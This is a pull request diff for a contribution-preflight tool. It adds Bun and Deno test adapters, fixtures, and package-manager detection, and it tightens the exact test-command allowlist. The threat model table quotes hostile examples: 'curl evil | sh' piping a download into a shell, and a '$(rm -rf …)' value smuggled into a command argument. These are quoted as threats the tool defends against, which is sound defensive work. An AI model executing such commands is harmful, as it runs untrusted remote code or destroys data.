Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -53,7 +53,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog):

`--json` prints machine-readable contract or receipt JSON. Preflight exit codes: `blocked` → 1; `pass` and `needs-human` → 0. `--repo` must be a git clone root, not a nested folder of another repository.

`--run-tests` is opt-in. It only executes allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`. Default preflight only *records* commands already supplied; it does not run the target repository.
`--run-tests` is opt-in. It only executes exact allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`). Extra arguments, pipes, `&&`, and `$()` are rejected. Default preflight only *records* commands already supplied; it does not run the target repository.

`CONTRIBKIT_ALLOW=1` sets `receipt.overridden = true`. It does not rewrite tool argv.

Expand All @@ -65,7 +65,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog):
- Golden fixtures under `fixtures/repos/`
- Claude plugin: `.claude-plugin/plugin.json`, `skills/*`, `hooks/hooks.json` (Bash|PowerShell `gh`/`glab` **and** `mcp__.*__create_pull_request`)
- MCP stdio: `node dist/src/cli.js mcp` tools `compile_contract`, `preflight_diff`, `explain_receipt`
- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test` (advisory `command_recorded` only unless `blockAdapters`)
- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, `deno-test` (advisory `command_recorded` only unless `blockAdapters`)
- Adapter authoring guide: [docs/ADAPTER_AUTHORING.md](docs/ADAPTER_AUTHORING.md)

## What is not shipped
Expand Down
6 changes: 6 additions & 0 deletions adapters/bun-test/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
# bun-test

Activates when the target tree has `bun.lockb`, `bun.lock`, or a `package.json` whose
`packageManager` is `bun` (including a version such as `bun@1.2.3`). Adds an advisory `bun test`
recording check. It does not execute Bun unless `--run-tests` is explicitly passed, and only the
exact `bun test` argv is allowlisted. Target-repository adapter folders are ignored.
9 changes: 9 additions & 0 deletions adapters/bun-test/adapter.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
{
"id": "bun-test",
"match": {
"filesAny": ["bun.lockb", "bun.lock", "package.json"],
"packageManager": "bun"
},
"testCommand": "bun test",
"maxDiffLines": null
}
2 changes: 2 additions & 0 deletions adapters/bun-test/hints.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
id: bun-test
testFamily: bun test
6 changes: 6 additions & 0 deletions adapters/bun-test/tests/golden.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "bun-test",
"expectRuleId": "adapter-bun-test",
"expectCommand": "bun test",
"expectSeverity": "advisory"
}
5 changes: 5 additions & 0 deletions adapters/deno-test/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
# deno-test

Activates when the target tree has `deno.json` or `deno.jsonc`. Adds an advisory `deno test`
recording check. It does not execute Deno unless `--run-tests` is explicitly passed, and only the
exact `deno test` argv is allowlisted. Target-repository adapter folders are ignored.
6 changes: 6 additions & 0 deletions adapters/deno-test/adapter.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "deno-test",
"match": { "filesAny": ["deno.json", "deno.jsonc"] },
"testCommand": "deno test",
"maxDiffLines": null
}
2 changes: 2 additions & 0 deletions adapters/deno-test/hints.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
id: deno-test
testFamily: deno test
6 changes: 6 additions & 0 deletions adapters/deno-test/tests/golden.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "deno-test",
"expectRuleId": "adapter-deno-test",
"expectCommand": "deno test",
"expectSeverity": "advisory"
}
2 changes: 1 addition & 1 deletion adapters/node-npm-test/adapter.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"id": "node-npm-test",
"match": { "filesAny": ["package.json"] },
"match": { "filesAny": ["package.json"], "excludePackageManagers": ["bun"] },
"testCommand": "npm test",
"maxDiffLines": null
}
6 changes: 4 additions & 2 deletions docs/ADAPTER_AUTHORING.md
Original file line number Diff line number Diff line change
Expand Up @@ -38,5 +38,7 @@ PR description must state whether the adapter is advisory or listed in `blockAda
is advisory so a new ecosystem adapter cannot silently block a contribution. Keep the command
recorded in the receipt and let the maintainer decide whether it belongs in a blocking policy.

The current bundled set is `python-pytest`, `node-npm-test`, and `go-test`. New adapters should have
a real repository shape to match and should not be added only to increase the adapter count.
The current bundled set is `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, and `deno-test`.
New adapters should have a real repository shape to match and should not be added only to increase
the adapter count. A manifest may use `packageManager: bun` for a `package.json` marker; a
`packageManager` condition is not applied to lockfile matches.
2 changes: 1 addition & 1 deletion docs/THREAT_MODEL.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@

| ID | Threat | Control |
| --- | --- | --- |
| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`, no network helpers. Default: only *record* commands already in `recordedCommands`. |
| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches the exact allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`). No extra args, pipes, `&&`, `$()`, or network helpers. Default: only *record* commands already in `recordedCommands`. |
| T2 | `contribkit.yml` of target repo tries to add a blocking rule that shells out | Policy schema: no arbitrary `command` except allowlisted test families. Unknown keys → `needs-human`, never execute. |
| T3 | Adapter from a stranger PR in *our* repo contains malware | Review + CI; adapters in **this** repo are trusted after merge. Adapters **inside the target repo** are ignored in v0.1. |
| T4 | Hook rewrites `gh pr create --body "$(rm -rf …)"` | Do **not** rewrite command strings. Deny or allow. |
Expand Down
3 changes: 3 additions & 0 deletions fixtures/repos/bun-lock/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-lock/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/bun-lock/bun.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions fixtures/repos/bun-lock/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun lockfile adapter fixture.
3 changes: 3 additions & 0 deletions fixtures/repos/bun-lockb/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-lockb/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/bun-lockb/bun.lockb

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions fixtures/repos/bun-lockb/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun binary-lockfile path adapter fixture.
3 changes: 3 additions & 0 deletions fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-package-manager-negative/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Non-Bun packageManager adapter fixture.
4 changes: 4 additions & 0 deletions fixtures/repos/bun-package-manager-negative/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
{
"name": "not-a-bun-fixture",
"packageManager": "npm@10.8.2"
}
3 changes: 3 additions & 0 deletions fixtures/repos/bun-package-manager-script/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

The repository test command is `bun test`.
1 change: 1 addition & 0 deletions fixtures/repos/bun-package-manager-script/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun compiler inference fixture.
7 changes: 7 additions & 0 deletions fixtures/repos/bun-package-manager-script/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"name": "bun-package-manager-script-fixture",
"packageManager": "bun@1.2.3",
"scripts": {
"test": "bun test"
}
}
3 changes: 3 additions & 0 deletions fixtures/repos/bun-package-manager/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-package-manager/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/bun-package-manager/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun packageManager adapter fixture.
4 changes: 4 additions & 0 deletions fixtures/repos/bun-package-manager/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
{
"name": "bun-package-manager-fixture",
"packageManager": "bun@1.2.3"
}
3 changes: 3 additions & 0 deletions fixtures/repos/deno-jsonc/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/deno-jsonc/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/deno-jsonc/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Deno JSONC adapter fixture.
6 changes: 6 additions & 0 deletions fixtures/repos/deno-jsonc/deno.jsonc
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
// JSONC is a supported Deno project marker.
"tasks": {
"test": "deno test"
}
}
3 changes: 3 additions & 0 deletions fixtures/repos/deno-test/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/deno-test/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/deno-test/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Deno adapter fixture.
5 changes: 5 additions & 0 deletions fixtures/repos/deno-test/deno.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
{
"tasks": {
"test": "deno test"
}
}
47 changes: 43 additions & 4 deletions src/adapters.ts
Original file line number Diff line number Diff line change
@@ -1,14 +1,19 @@
import { readdirSync, readFileSync } from "node:fs";
import { dirname, join } from "node:path";
import { fileURLToPath } from "node:url";
import { allowlistedArgv, commandsEquivalent } from "./allowlist.js";
import {
allowlistedArgv,
commandsEquivalent,
packageManagerMatches,
type PackageManager,
} from "./allowlist.js";
import { compareTextUnit } from "./canonical.js";
import { firstExisting } from "./repo.js";
import { isRecord, type ContractRule, type Severity } from "./types.js";

export interface AdapterManifest {
id: string;
match: { filesAny: string[] };
match: { filesAny: string[]; packageManager?: PackageManager; excludePackageManagers?: PackageManager[] };
testCommand: string;
maxDiffLines: number | null;
}
Expand Down Expand Up @@ -37,14 +42,31 @@ function parseManifest(raw: unknown, folder: string): AdapterManifest | undefine
if (!isRecord(match) || !Array.isArray(match.filesAny) || match.filesAny.length === 0) return undefined;
const filesAny = match.filesAny.filter((item): item is string => typeof item === "string" && item.length > 0);
if (filesAny.length === 0) return undefined;
const packageManager = match.packageManager;
if (packageManager !== undefined && packageManager !== "bun") return undefined;
const excluded = match.excludePackageManagers;
if (excluded !== undefined && !Array.isArray(excluded)) return undefined;
const excludePackageManagers = excluded?.filter(
(item): item is PackageManager => item === "npm" || item === "pnpm" || item === "yarn" || item === "bun",
);
if (excluded !== undefined && excludePackageManagers?.length !== excluded.length) return undefined;
if (typeof raw.testCommand !== "string" || raw.testCommand.trim().length === 0) return undefined;
const maxDiffLines = raw.maxDiffLines === null || raw.maxDiffLines === undefined
? null
: typeof raw.maxDiffLines === "number"
? raw.maxDiffLines
: null;
if (raw.id !== folder) return undefined;
return { id: raw.id, match: { filesAny }, testCommand: raw.testCommand.trim(), maxDiffLines };
return {
id: raw.id,
match: {
filesAny,
...(packageManager !== undefined ? { packageManager } : {}),
...(excludePackageManagers !== undefined ? { excludePackageManagers } : {}),
},
testCommand: raw.testCommand.trim(),
maxDiffLines,
};
}

export function loadBundledAdapters(): AdapterManifest[] {
Expand All @@ -71,6 +93,23 @@ export function loadBundledAdapters(): AdapterManifest[] {
return loaded;
}

async function matchingAdapterFile(
repoPath: string,
ref: string,
match: AdapterManifest["match"],
): Promise<{ path: string; text: string } | undefined> {
for (const path of match.filesAny) {
const hit = await firstExisting(repoPath, ref, [path]);
if (hit === undefined) continue;
if (path === "package.json") {
if (match.packageManager !== undefined && !packageManagerMatches(hit.text, match.packageManager)) continue;
if (match.excludePackageManagers?.some((item) => packageManagerMatches(hit.text, item))) continue;
}
return hit;
}
return undefined;
}

export async function adapterRules(options: {
repoPath: string;
ref: string;
Expand All @@ -79,7 +118,7 @@ export async function adapterRules(options: {
}): Promise<ContractRule[]> {
const rules: ContractRule[] = [];
for (const adapter of loadBundledAdapters()) {
const hit = await firstExisting(options.repoPath, options.ref, adapter.match.filesAny);
const hit = await matchingAdapterFile(options.repoPath, options.ref, adapter.match);
if (hit === undefined) continue;
const argv = allowlistedArgv(adapter.testCommand);
if (argv === undefined) {
Expand Down
35 changes: 34 additions & 1 deletion src/allowlist.ts
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,12 @@ export const TEST_ARGV_FAMILIES: readonly (readonly string[])[] = [
["python", "-m", "pytest"],
["cargo", "test"],
["go", "test"],
["bun", "test"],
["deno", "test"],
];

export type PackageManager = "npm" | "pnpm" | "yarn" | "bun";

const SHELL_META = /[|;&`$<>()]/;

export function hasShellMeta(command: string): boolean {
Expand Down Expand Up @@ -54,6 +58,30 @@ export function allowlistedArgv(command: string): string[] | undefined {
return argv.length === family.length ? [...argv] : undefined;
}

export function packageManagerFromPackageJson(text: string): PackageManager | undefined {
try {
const parsed: unknown = JSON.parse(text);
if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) return undefined;
const value = (parsed as Record<string, unknown>).packageManager;
if (typeof value !== "string") return undefined;
const managers: readonly PackageManager[] = ["npm", "pnpm", "yarn", "bun"];
for (const manager of managers) {
if (value === manager) return manager;
if (value.startsWith(`${manager}@`) && value.length > manager.length + 1) return manager;
}
return undefined;
} catch {
return undefined;
}
}

export function packageManagerMatches(
packageJson: string,
expected: PackageManager,
): boolean {
return packageManagerFromPackageJson(packageJson) === expected;
}

export function commandsEquivalent(recorded: string, required: string): boolean {
const rec = tokenizeArgv(recorded);
const req = tokenizeArgv(required);
Expand All @@ -68,22 +96,27 @@ export function commandsEquivalent(recorded: string, required: string): boolean

export function inferTestCommand(hints: {
policyCommand?: string;
packageManager?: "npm" | "pnpm" | "yarn";
packageManager?: PackageManager;
hasNpmTestScript?: boolean;
mentionsPytest?: boolean;
mentionsCargo?: boolean;
mentionsGo?: boolean;
mentionsBun?: boolean;
mentionsDeno?: boolean;
}): string | undefined {
if (hints.policyCommand !== undefined) {
return allowlistedArgv(hints.policyCommand) ? hints.policyCommand.trim() : undefined;
}
if (hints.hasNpmTestScript) {
if (hints.packageManager === "bun") return "bun test";
if (hints.packageManager === "pnpm") return "pnpm test";
if (hints.packageManager === "yarn") return "yarn test";
return "npm test";
}
if (hints.mentionsPytest) return "pytest";
if (hints.mentionsCargo) return "cargo test";
if (hints.mentionsGo) return "go test";
if (hints.mentionsBun) return "bun test";
if (hints.mentionsDeno) return "deno test";
return undefined;
}
Loading
Loading